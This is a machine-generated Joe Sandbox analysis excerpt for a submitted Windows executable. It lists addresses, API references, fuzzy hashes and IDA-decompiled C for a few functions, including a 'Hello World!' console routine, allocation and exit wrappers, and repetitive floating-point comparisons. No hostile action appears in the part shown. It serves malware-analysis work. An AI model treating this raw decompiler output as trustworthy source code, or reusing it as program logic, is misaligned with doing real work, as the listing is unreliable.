0x0040df8f
0x0040df9e
0x0040dfa0
0x0040dfa2
0x0040dfa4
0x0040dfc3
0x0040dfc3
0x0040dfc6
0x0040dfc8
0x0040dfcf
0x0040dfd2
0x0040dfe9
0x0040dfec
0x0040dff8
0x0040e002
0x0040e01a
0x0040e022
0x0040e024
0x0040e025
0x0040e0d5
0x0040e0e2
0x0040e0e6
0x0040e0ec
0x0040e0ef
0x0040e0f1
0x00000000
0x00000000
0x0040e02d
0x0040e030
0x0040e0f9
0x0040e0fc
0x00000000
0x0040e0fe
0x0040e104
0x0040e10b
0x0040e10d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e10d
0x0040e036
0x0040e04c
0x0040e04c
0x0040e04e
0x0040e07a
0x0040e07d
0x0040e081
0x0040e084
0x0040e125
0x0040e125
0x0040e08a
0x0040e08a
0x0040e08c
0x0040e0a0
0x0040e0b6
0x0040e0c7
0x0040e0cf
0x0040e0d3
0x0040e0d3
0x00000000
0x0040e08e
0x0040e08e
0x0040e092
0x00000000
0x0040e094
0x0040e09b
0x00000000
0x0040e09b
0x0040e092
0x0040e08c
0x0040e050
0x0040e05e
0x0040e063
0x0040e066
0x0040e067
0x0040e069
0x0040e06a
0x0040e06f
0x0040e072
0x0040e074
0x0040e10f
0x0040e10f
0x00000000
0x00000000
0x00000000
0x0040e074
0x0040e04e
0x0040e119
0x00000000
0x0040e11e
0x00000000
0x0040dfd4
0x0040dfd6
0x0040dfdd
0x0040dfdf
0x00000000
0x0040dfe1
0x00000000
0x0040dfe1
0x0040dfdf
0x0040dfca
0x0040dfca
0x0040dfca
0x0040dfa6
0x0040dfa6
0x0040dfad
0x0040dfaf
0x00000000
0x0040dfb1
0x0040dfb1
0x0040dfb1
0x0040dfb3
0x0040dfb6
0x0040dfbb
0x0040dfbd
0x0040dfbf
0x0040dfbf
0x0040dfaf
0x0040df91
0x0040df91
0x0040df93
0x0040df98

APIs

__EH_prolog3_GS.LIBCMT ref: 0040DF82
_Fputc.LIBCPMT ref: 0040DFD6
_Fputc.LIBCPMT ref: 0040E104

Strings

, xrefs: 0040E08E

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: Fputc$H_prolog3_
String ID:
API String ID: 2569218679-3916222277
Opcode ID: 04510e95274a5be9e935e77fcbc4f9c5d609338cd7e3e0df9ae3302683dcf4a6
Instruction ID: 08d7a2b07ed4ebad98453d91978f2ce268404cdf7c7054ef9d1d195139852f36
Opcode Fuzzy Hash: 04510e95274a5be9e935e77fcbc4f9c5d609338cd7e3e0df9ae3302683dcf4a6
Instruction Fuzzy Hash: 5E517132D002049FCB24DBE5C8819EEB3B5AF48314F14893FE512B72D5EA78A948CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041141D Relevance: 6.0, APIs: 4, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0041141D(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				char _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				void* _t11;
				signed int _t12;
				void* _t20;
				void* _t26;
				void* _t27;

				_t27 = __edi;
				_t26 = __edx;
				_t20 = __ebx;
				while(1) {
					_t11 = E0041717F(_t20, _t26, _t27, _a4); // executed
					if(_t11 != 0) {
						break;
					}
					_t12 = E00417258(_a4);
					__eflags = _t12;
					if(_t12 == 0) {
						__eflags =  *0x44d0cc & 0x00000001;
						if(( *0x44d0cc & 0x00000001) == 0) {
							 *0x44d0cc =  *0x44d0cc | 0x00000001;
							__eflags =  *0x44d0cc;
							E00411402(0x44d0c0);
							E00412782( *0x44d0cc, 0x422349);
						}
						E0040AF10( &_v16, 0x44d0c0);
						E0040FB4B( &_v16, 0x42816c);
						asm("int3");
						return E004174B0(_t26, _t27, 0x44d0c0, _v12, _v8, _v4, 0,  &_v0);
					} else {
						continue;
					}
					L8:
				}
				return _t11;
				goto L8;
			}

0x0041141d
0x0041141d
0x0041141d
0x00411434
0x00411437
0x0041143f
0x00000000
0x00000000
0x0041142a
0x00411430
0x00411432
0x00411443
0x0041144f
0x00411451
0x00411451
0x0041145a
0x00411464
0x00411469
0x0041146e
0x0041147c
0x00411481
0x0041149f
0x00000000
0x00000000
0x00000000
0x00000000
0x00411432
0x00411442
0x00000000

APIs

_malloc.LIBCMT ref: 00411437

Part of subcall function 0041717F: __FF_MSGBANNER.LIBCMT ref: 004171A2
Part of subcall function 0041717F: __NMSG_WRITE.LIBCMT ref: 004171A9
Part of subcall function 0041717F: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,004151DC,?,00000001,?,?,00418B28,00000018,00428A00,0000000C,00418BB9), ref: 004171F6

std::bad_alloc::bad_alloc.LIBCMT ref: 0041145A

Part of subcall function 00411402: std::exception::exception.LIBCMT ref: 0041140E

std::bad_exception::bad_exception.LIBCMTD ref: 0041146E
__CxxThrowException@8.LIBCMT ref: 0041147C

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 0995160b2cae05f5a59d6598c167dde7ae5830371559d3345a296fbabc0e7420
Instruction ID: 2e5af9b541597e16ef5ff0f584f6c51df1932b9044ae5127ebc0c0e728ce944d
Opcode Fuzzy Hash: 0995160b2cae05f5a59d6598c167dde7ae5830371559d3345a296fbabc0e7420
Instruction Fuzzy Hash: 4AF0E93590021966CB08A762EC07ADA37685B41B1CB14803FF900530E2DFAC9AC2855D

Uniqueness

Uniqueness Score: -1.00%

Function 00408CFE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408CFE(void* __ebx, void* __edi, void* __fp0) {
				intOrPtr _t102;
				void* _t103;
				struct HWND__* _t110;
				char _t145;
				int _t147;
				signed int _t148;
				void* _t149;
				char _t157;
				void* _t174;
				char _t175;
				struct HDC__* _t179;
				signed int _t180;
				signed int _t186;
				void* _t191;
				void* _t193;
				void* _t195;
				void* _t197;
				void* _t198;
				void* _t207;

				_t207 = __fp0;
				_t191 = __edi;
				_t149 = __ebx;
				 *((intOrPtr*)(_t195 - 0x98)) = 0x1558;
				if( *((intOrPtr*)(_t195 - 0x98)) == 0x1558) {
					 *((intOrPtr*)(_t195 - 0x98)) = 0x2c;
				}
				 *((intOrPtr*)(_t195 - 4)) = 0x18;
				asm("wait");
				 *((intOrPtr*)(_t195 - 0x98)) = 0x3a4;
				asm("wait");
				 *((intOrPtr*)(_t195 - 4)) = 0xffffffff;
				_t204 =  *((intOrPtr*)(_t195 - 0x98)) - 0x197b;
				if( *((intOrPtr*)(_t195 - 0x98)) != 0x197b) {
					__eflags =  *((intOrPtr*)(_t195 - 0x98)) - 0x3a4;
					if(__eflags == 0) {
						 *((intOrPtr*)(_t195 - 0x98)) = 0xd2e;
					}
				} else {
					 *((intOrPtr*)(_t195 - 0x98)) = 0x2462;
				}
				 *((intOrPtr*)(_t195 - 4)) = 0x1a;
				asm("wait");
				 *((intOrPtr*)(_t195 - 0x98)) = 0x12a4;
				asm("wait");
				 *((intOrPtr*)(_t195 - 4)) = 0xffffffff;
				FreeConsole(); // executed
				E004090D0(_t149, _t195 - 0x68, _t174, _t191, _t193, _t204); // executed
				E00409160(_t149, _t195 - 0x68, _t174, _t191, _t193, _t204);
				E004091F0(_t149, _t195 - 0x32, _t174, _t191, _t193, _t204, _t207);
				E00409270(_t149, _t195 - 0x32, _t174, _t191, _t193, _t204);
				E004092F0(_t149, _t195 - 0x99, _t174, _t191, _t193, _t204);
				E00409380(_t149, _t195 - 0x99, _t174, _t191, _t193, _t204, _t207);
				 *((intOrPtr*)(_t195 - 0x64)) = 1;
				 *((intOrPtr*)(_t195 - 0x60)) = 3;
				 *((intOrPtr*)(_t195 - 0x5c)) = 5;
				 *((intOrPtr*)(_t195 - 0x58)) = 7;
				 *((intOrPtr*)(_t195 - 0x54)) = 9;
				 *(_t195 - 0x50) = 2;
				 *((intOrPtr*)(_t195 - 0x4c)) = 4;
				 *((intOrPtr*)(_t195 - 0x48)) = 6;
				 *((intOrPtr*)(_t195 - 0x44)) = 8;
				 *(_t195 - 0x40) = 0;
				_t157 = "Hello World!"; // 0x6c6c6548
				 *((intOrPtr*)(_t195 - 0x94)) = _t157;
				_t175 = "o World!"; // 0x6f57206f
				 *((intOrPtr*)(_t195 - 0x90)) = _t175;
				_t102 =  *0x423ed4; // 0x21646c72
				 *((intOrPtr*)(_t195 - 0x8c)) = _t102;
				_t158 =  *0x423ed8; // 0x0
				 *(_t195 - 0x88) = _t158;
				 *((long long*)(_t195 - 0x80)) =  *0x424e30;
				 *(_t195 - 0xa0) = 0;
				while( *(_t195 - 0xa0) < 0xa) {
					_t148 =  *(_t195 - 0xa0);
					_t158 =  *(_t195 + _t148 * 4 - 0x64) << 1;
					 *(_t195 +  *(_t195 - 0xa0) * 4 - 0x64) =  *(_t195 + _t148 * 4 - 0x64) << 1;
					 *(_t195 - 0xa0) =  *(_t195 - 0xa0) + 1;
				}
				 *(_t195 - 0xa4) = 0;
				while(1) {
					__eflags =  *(_t195 - 0xa4) - 0xd;
					if( *(_t195 - 0xa4) >= 0xd) {
						break;
					}
					_t145 = E0040F6AD( *((char*)(_t195 +  *(_t195 - 0xa4) - 0x94)));
					_t197 = _t197 + 4;
					_t158 =  *(_t195 - 0xa4);
					 *((char*)(_t195 +  *(_t195 - 0xa4) - 0x94)) = _t145;
					_t147 =  *(_t195 - 0xa4) + 1;
					__eflags = _t147;
					 *(_t195 - 0xa4) = _t147;
				}
				 *((long long*)(_t195 - 0x80)) =  *((long long*)(_t195 - 0x80)) + st0;
				_t103 = E0040A970(_t158, 0x44ce60, "Array after doubling each element:");
				_t198 = _t197 + 8;
				E004094B0(_t103, E004090B0);
				 *(_t195 - 0xa8) = 0;
				while(1) {
					__eflags =  *(_t195 - 0xa8) - 0xa;
					if(__eflags >= 0) {
						break;
					}
					E0040A970(0x44ce60, L004094D0(0x44ce60, __eflags,  *((intOrPtr*)(_t195 +  *(_t195 - 0xa8) * 4 - 0x64))), " ");
					_t198 = _t198 + 8;
					_t186 =  *(_t195 - 0xa8) + 1;
					__eflags = _t186;
					 *(_t195 - 0xa8) = _t186;
				}
				E004094B0(0x44ce60, E004090B0);
				E004094B0(E0040A970(0x44ce60, 0x44ce60, "String after converting to uppercase:"), E004090B0);
				E004094B0(E0040A970(_t106, 0x44ce60, _t195 - 0x94), E004090B0);
				_t110 = E0040A970(_t108, 0x44ce60, "Double after multiplying by 2");
				__imp__GetConsoleWindow();
				 *(_t195 - 0x30) = _t110;
				 *(_t195 - 0x84) = GetDC( *(_t195 - 0x30));
				GetClientRect( *(_t195 - 0x30), _t195 - 0x24);
				 *(_t195 - 0x2c) =  *((intOrPtr*)(_t195 - 0x1c)) -  *(_t195 - 0x24);
				 *(_t195 - 0x74) =  *((intOrPtr*)(_t195 - 0x18)) -  *((intOrPtr*)(_t195 - 0x20));
				 *(_t195 - 0x38) = CreatePen(0, 2, 0xff);
				 *(_t195 - 0x70) = CreateSolidBrush(0xff00);
				SelectObject( *(_t195 - 0x84),  *(_t195 - 0x38));
				_t179 =  *(_t195 - 0x84);
				SelectObject(_t179,  *(_t195 - 0x70));
				asm("cdq");
				_t180 = _t179 & 0x00000003;
				asm("cdq");
				_t181 = _t180 & 0x00000003;
				asm("cdq");
				asm("cdq");
				Rectangle( *(_t195 - 0x84),  *(_t195 - 0x2c) + (_t180 & 3) >> 2,  *(_t195 - 0x74) + (_t180 & 3) >> 2,  *(_t195 - 0x2c) * 3 + _t181 >> 2,  *(_t195 - 0x74) * 3 + _t180 >> 2);
				DeleteObject( *(_t195 - 0x38));
				DeleteObject( *(_t195 - 0x70));
				ReleaseDC( *(_t195 - 0x30),  *(_t195 - 0x84));
				__eflags = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t195 - 0xc));
				return 0;
			}

0x00408cfe
0x00408cfe
0x00408cfe
0x00408cfe
0x00408d12
0x00408d14
0x00408d14
0x00408d1e
0x00408d25
0x00408d26
0x00408d30
0x00408d40
0x00408d47
0x00408d51
0x00408d5f
0x00408d69
0x00408d6b
0x00408d6b
0x00408d53
0x00408d53
0x00408d53
0x00408d75
0x00408d7c
0x00408d7d
0x00408d87
0x00408d97
0x00408d9e
0x00408da7
0x00408daf
0x00408db7
0x00408dbf
0x00408dca
0x00408dd5
0x00408dda
0x00408de1
0x00408de8
0x00408def
0x00408df6
0x00408dfd
0x00408e04
0x00408e0b
0x00408e12
0x00408e19
0x00408e20
0x00408e26
0x00408e2c
0x00408e32
0x00408e38
0x00408e3d
0x00408e43
0x00408e49
0x00408e55
0x00408e58
0x00408e73
0x00408e7c
0x00408e86
0x00408e8e
0x00408e6d
0x00408e6d
0x00408e94
0x00408eaf
0x00408eaf
0x00408eb6
0x00000000
0x00000000
0x00408ec7
0x00408ecc
0x00408ecf
0x00408ed5
0x00408ea6
0x00408ea6
0x00408ea9
0x00408ea9
0x00408ee3
0x00408ef5
0x00408efa
0x00408eff
0x00408f04
0x00408f1f
0x00408f1f
0x00408f26
0x00000000
0x00000000
0x00408f43
0x00408f48
0x00408f16
0x00408f16
0x00408f19
0x00408f19
0x00408f57
0x00408f75
0x00408f95
0x00408fa4
0x00408fac
0x00408fb2
0x00408fbf
0x00408fcd
0x00408fd9
0x00408fe2
0x00408ff4
0x00409002
0x00409010
0x0040901a
0x00409021
0x0040902d
0x0040902e
0x0040903d
0x0040903e
0x0040904a
0x00409057
0x00409068
0x00409072
0x0040907c
0x0040908d
0x00409093
0x00409098
0x004090a5

APIs

FreeConsole.KERNELBASE ref: 00408D9E

Strings

b$, xrefs: 00408D53
Hello World!, xrefs: 00408E20

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ConsoleFree
String ID: Hello World!$b$
API String ID: 771614528-3560373454
Opcode ID: 9237c3f91721700049b95dacfc4e2af693c6b5cf8479af449baee427acc1c360
Instruction ID: bcdd510229e857bc6a0e41a0e420072d8427258e30bb03b4563f172d326d42ca
Opcode Fuzzy Hash: 9237c3f91721700049b95dacfc4e2af693c6b5cf8479af449baee427acc1c360
Instruction Fuzzy Hash: CC31F4B0A01258DFDB24CF64D9487DDBBB0BF51308F6041AEC4596A2D2CBB91E89CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00408D6B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00408D6B(void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				intOrPtr _t93;
				void* _t94;
				struct HWND__* _t101;
				char _t136;
				int _t138;
				signed int _t139;
				char _t148;
				void* _t165;
				char _t166;
				struct HDC__* _t170;
				signed int _t171;
				signed int _t177;
				void* _t184;
				void* _t186;
				void* _t188;
				void* _t189;
				void* _t194;
				void* _t197;

				_t197 = __fp0;
				_t194 = __eflags;
				_t182 = __edi;
				_t140 = __ebx;
				 *((intOrPtr*)(_t186 - 0x98)) = 0xd2e;
				 *((intOrPtr*)(_t186 - 4)) = 0x1a;
				asm("wait");
				 *((intOrPtr*)(_t186 - 0x98)) = 0x12a4;
				asm("wait");
				 *((intOrPtr*)(_t186 - 4)) = 0xffffffff;
				FreeConsole(); // executed
				E004090D0(__ebx, _t186 - 0x68, _t165, __edi, _t184, _t194); // executed
				E00409160(__ebx, _t186 - 0x68, _t165, __edi, _t184, _t194);
				E004091F0(__ebx, _t186 - 0x32, _t165, __edi, _t184, _t194, _t197);
				E00409270(__ebx, _t186 - 0x32, _t165, __edi, _t184, _t194);
				E004092F0(_t140, _t186 - 0x99, _t165, _t182, _t184, _t194);
				E00409380(_t140, _t186 - 0x99, _t165, _t182, _t184, _t194, _t197);
				 *((intOrPtr*)(_t186 - 0x64)) = 1;
				 *((intOrPtr*)(_t186 - 0x60)) = 3;
				 *((intOrPtr*)(_t186 - 0x5c)) = 5;
				 *((intOrPtr*)(_t186 - 0x58)) = 7;
				 *((intOrPtr*)(_t186 - 0x54)) = 9;
				 *(_t186 - 0x50) = 2;
				 *((intOrPtr*)(_t186 - 0x4c)) = 4;
				 *((intOrPtr*)(_t186 - 0x48)) = 6;
				 *((intOrPtr*)(_t186 - 0x44)) = 8;
				 *(_t186 - 0x40) = 0;
				_t148 = "Hello World!"; // 0x6c6c6548
				 *((intOrPtr*)(_t186 - 0x94)) = _t148;
				_t166 = "o World!"; // 0x6f57206f
				 *((intOrPtr*)(_t186 - 0x90)) = _t166;
				_t93 =  *0x423ed4; // 0x21646c72
				 *((intOrPtr*)(_t186 - 0x8c)) = _t93;
				_t149 =  *0x423ed8; // 0x0
				 *(_t186 - 0x88) = _t149;
				 *((long long*)(_t186 - 0x80)) =  *0x424e30;
				 *(_t186 - 0xa0) = 0;
				while( *(_t186 - 0xa0) < 0xa) {
					_t139 =  *(_t186 - 0xa0);
					_t149 =  *(_t186 + _t139 * 4 - 0x64) << 1;
					 *(_t186 +  *(_t186 - 0xa0) * 4 - 0x64) =  *(_t186 + _t139 * 4 - 0x64) << 1;
					 *(_t186 - 0xa0) =  *(_t186 - 0xa0) + 1;
				}
				 *(_t186 - 0xa4) = 0;
				while(1) {
					__eflags =  *(_t186 - 0xa4) - 0xd;
					if( *(_t186 - 0xa4) >= 0xd) {
						break;
					}
					_t136 = E0040F6AD( *((char*)(_t186 +  *(_t186 - 0xa4) - 0x94)));
					_t188 = _t188 + 4;
					_t149 =  *(_t186 - 0xa4);
					 *((char*)(_t186 +  *(_t186 - 0xa4) - 0x94)) = _t136;
					_t138 =  *(_t186 - 0xa4) + 1;
					__eflags = _t138;
					 *(_t186 - 0xa4) = _t138;
				}
				 *((long long*)(_t186 - 0x80)) =  *((long long*)(_t186 - 0x80)) + st0;
				_t94 = E0040A970(_t149, 0x44ce60, "Array after doubling each element:");
				_t189 = _t188 + 8;
				E004094B0(_t94, E004090B0);
				 *(_t186 - 0xa8) = 0;
				while(1) {
					__eflags =  *(_t186 - 0xa8) - 0xa;
					if(__eflags >= 0) {
						break;
					}
					E0040A970(0x44ce60, L004094D0(0x44ce60, __eflags,  *((intOrPtr*)(_t186 +  *(_t186 - 0xa8) * 4 - 0x64))), " ");
					_t189 = _t189 + 8;
					_t177 =  *(_t186 - 0xa8) + 1;
					__eflags = _t177;
					 *(_t186 - 0xa8) = _t177;
				}
				E004094B0(0x44ce60, E004090B0);
				E004094B0(E0040A970(0x44ce60, 0x44ce60, "String after converting to uppercase:"), E004090B0);
				E004094B0(E0040A970(_t97, 0x44ce60, _t186 - 0x94), E004090B0);
				_t101 = E0040A970(_t99, 0x44ce60, "Double after multiplying by 2");
				__imp__GetConsoleWindow();
				 *(_t186 - 0x30) = _t101;
				 *(_t186 - 0x84) = GetDC( *(_t186 - 0x30));
				GetClientRect( *(_t186 - 0x30), _t186 - 0x24);
				 *(_t186 - 0x2c) =  *((intOrPtr*)(_t186 - 0x1c)) -  *(_t186 - 0x24);
				 *(_t186 - 0x74) =  *((intOrPtr*)(_t186 - 0x18)) -  *((intOrPtr*)(_t186 - 0x20));
				 *(_t186 - 0x38) = CreatePen(0, 2, 0xff);
				 *(_t186 - 0x70) = CreateSolidBrush(0xff00);
				SelectObject( *(_t186 - 0x84),  *(_t186 - 0x38));
				_t170 =  *(_t186 - 0x84);
				SelectObject(_t170,  *(_t186 - 0x70));
				asm("cdq");
				_t171 = _t170 & 0x00000003;
				asm("cdq");
				_t172 = _t171 & 0x00000003;
				asm("cdq");
				asm("cdq");
				Rectangle( *(_t186 - 0x84),  *(_t186 - 0x2c) + (_t171 & 3) >> 2,  *(_t186 - 0x74) + (_t171 & 3) >> 2,  *(_t186 - 0x2c) * 3 + _t172 >> 2,  *(_t186 - 0x74) * 3 + _t171 >> 2);
				DeleteObject( *(_t186 - 0x38));
				DeleteObject( *(_t186 - 0x70));
				ReleaseDC( *(_t186 - 0x30),  *(_t186 - 0x84));
				__eflags = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t186 - 0xc));
				return 0;
			}

0x00408d6b
0x00408d6b
0x00408d6b
0x00408d6b
0x00408d6b
0x00408d75
0x00408d7c
0x00408d7d
0x00408d87
0x00408d97
0x00408d9e
0x00408da7
0x00408daf
0x00408db7
0x00408dbf
0x00408dca
0x00408dd5
0x00408dda
0x00408de1
0x00408de8
0x00408def
0x00408df6
0x00408dfd
0x00408e04
0x00408e0b
0x00408e12
0x00408e19
0x00408e20
0x00408e26
0x00408e2c
0x00408e32
0x00408e38
0x00408e3d
0x00408e43
0x00408e49
0x00408e55
0x00408e58
0x00408e73
0x00408e7c
0x00408e86
0x00408e8e
0x00408e6d
0x00408e6d
0x00408e94
0x00408eaf
0x00408eaf
0x00408eb6
0x00000000
0x00000000
0x00408ec7
0x00408ecc
0x00408ecf
0x00408ed5
0x00408ea6
0x00408ea6
0x00408ea9
0x00408ea9
0x00408ee3
0x00408ef5
0x00408efa
0x00408eff
0x00408f04
0x00408f1f
0x00408f1f
0x00408f26
0x00000000
0x00000000
0x00408f43
0x00408f48
0x00408f16
0x00408f16
0x00408f19
0x00408f19
0x00408f57
0x00408f75
0x00408f95
0x00408fa4
0x00408fac
0x00408fb2
0x00408fbf
0x00408fcd
0x00408fd9
0x00408fe2
0x00408ff4
0x00409002
0x00409010
0x0040901a
0x00409021
0x0040902d
0x0040902e
0x0040903d
0x0040903e
0x0040904a
0x00409057
0x00409068
0x00409072
0x0040907c
0x0040908d
0x00409093
0x00409098
0x004090a5

APIs

FreeConsole.KERNELBASE ref: 00408D9E

Strings

., xrefs: 00408D6B
Hello World!, xrefs: 00408E20

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ConsoleFree
String ID: .$Hello World!
API String ID: 771614528-296005368
Opcode ID: fae2fd3f0442b683e3c1f92c8007cae392990bbae35f24d1e670115fdcf696fe
Instruction ID: 4a5319af489a590b3318486502750353c9f6c728cc487c9a47fb0b3508129d7b
Opcode Fuzzy Hash: fae2fd3f0442b683e3c1f92c8007cae392990bbae35f24d1e670115fdcf696fe
Instruction Fuzzy Hash: F721D0B0A0125CCFDB24DF94D9587DDBBB0BF45308F5041ADC4496B292DBB92A8ACF49

Uniqueness

Uniqueness Score: -1.00%

Function 00417A67 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00417A67(int _a4) {

				E00417A3C(_a4);
				ExitProcess(_a4);
			}

0x00417a6f
0x00417a78

APIs

___crtCorExitProcess.LIBCMT ref: 00417A6F

Part of subcall function 00417A3C: GetModuleHandleW.KERNEL32(mscoree.dll,?,00417A74,?,?,004171B8,000000FF,0000001E,?,004151DC,?,00000001,?,?,00418B28,00000018), ref: 00417A46
Part of subcall function 00417A3C: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00417A56

ExitProcess.KERNEL32 ref: 00417A78

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 8c07ce4f34fd1f26195c23e0303dbe0d092391f58a046039d5f5ba13aff8d60e
Instruction ID: 5c91c9bb6d11d87ad6c8681d3c3e95ad47adfec806060d65a7cd957d26376d5c
Opcode Fuzzy Hash: 8c07ce4f34fd1f26195c23e0303dbe0d092391f58a046039d5f5ba13aff8d60e
Instruction Fuzzy Hash: F6B0923110410CBBCB112F13DC0AC8E3F7AEF803A1B504025F80849171DF76AE92DAD8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F90 Relevance: 1.8, APIs: 1, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00402F90(signed int __eax, void* __edx, char* _a4, intOrPtr _a8) {
				short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short* _v44;
				short* _v48;
				void* __ebp;
				signed char _t268;
				short* _t269;
				void* _t277;
				void* _t280;
				void* _t283;
				void* _t284;

				_t280 = __edx;
				_t268 = __eax;
				_v20 =  *0x4247c4;
				_v20 =  *0x4247c0;
				_v20 =  *0x4247bc;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v20 =  *0x4247b8;
					_v20 =  *0x4247b4;
				}
				_v20 =  *0x4247b0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v20 =  *0x4247ac;
					_v20 =  *0x4247a8;
				}
				_v20 =  *0x4247a4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v20 =  *0x4247a0;
					_v20 =  *0x42479c;
				}
				_v20 =  *0x424798;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v20 =  *0x424794;
					_v20 =  *0x424790;
				}
				_v20 =  *0x42478c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v20 =  *0x424788;
					_v20 =  *0x424784;
				}
				_v28 =  *0x424780;
				_v28 =  *0x42477c;
				_v28 =  *0x424778;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v28 =  *0x424774;
					_v28 =  *0x424770;
				}
				_v28 =  *0x42476c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v28 =  *0x424768;
					_v28 =  *0x424764;
				}
				_v28 =  *0x424760;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v28 =  *0x42475c;
					_v28 =  *0x424758;
				}
				_v28 =  *0x424754;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v28 =  *0x424750;
					_v28 =  *0x42474c;
				}
				_v28 =  *0x424748;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v28 =  *0x424744;
					_v28 =  *0x424740;
				}
				_v16 =  *0x42473c;
				_v16 =  *0x424738;
				_v16 =  *0x424734;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v16 =  *0x424730;
					_v16 =  *0x42472c;
				}
				_v16 =  *0x424728;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
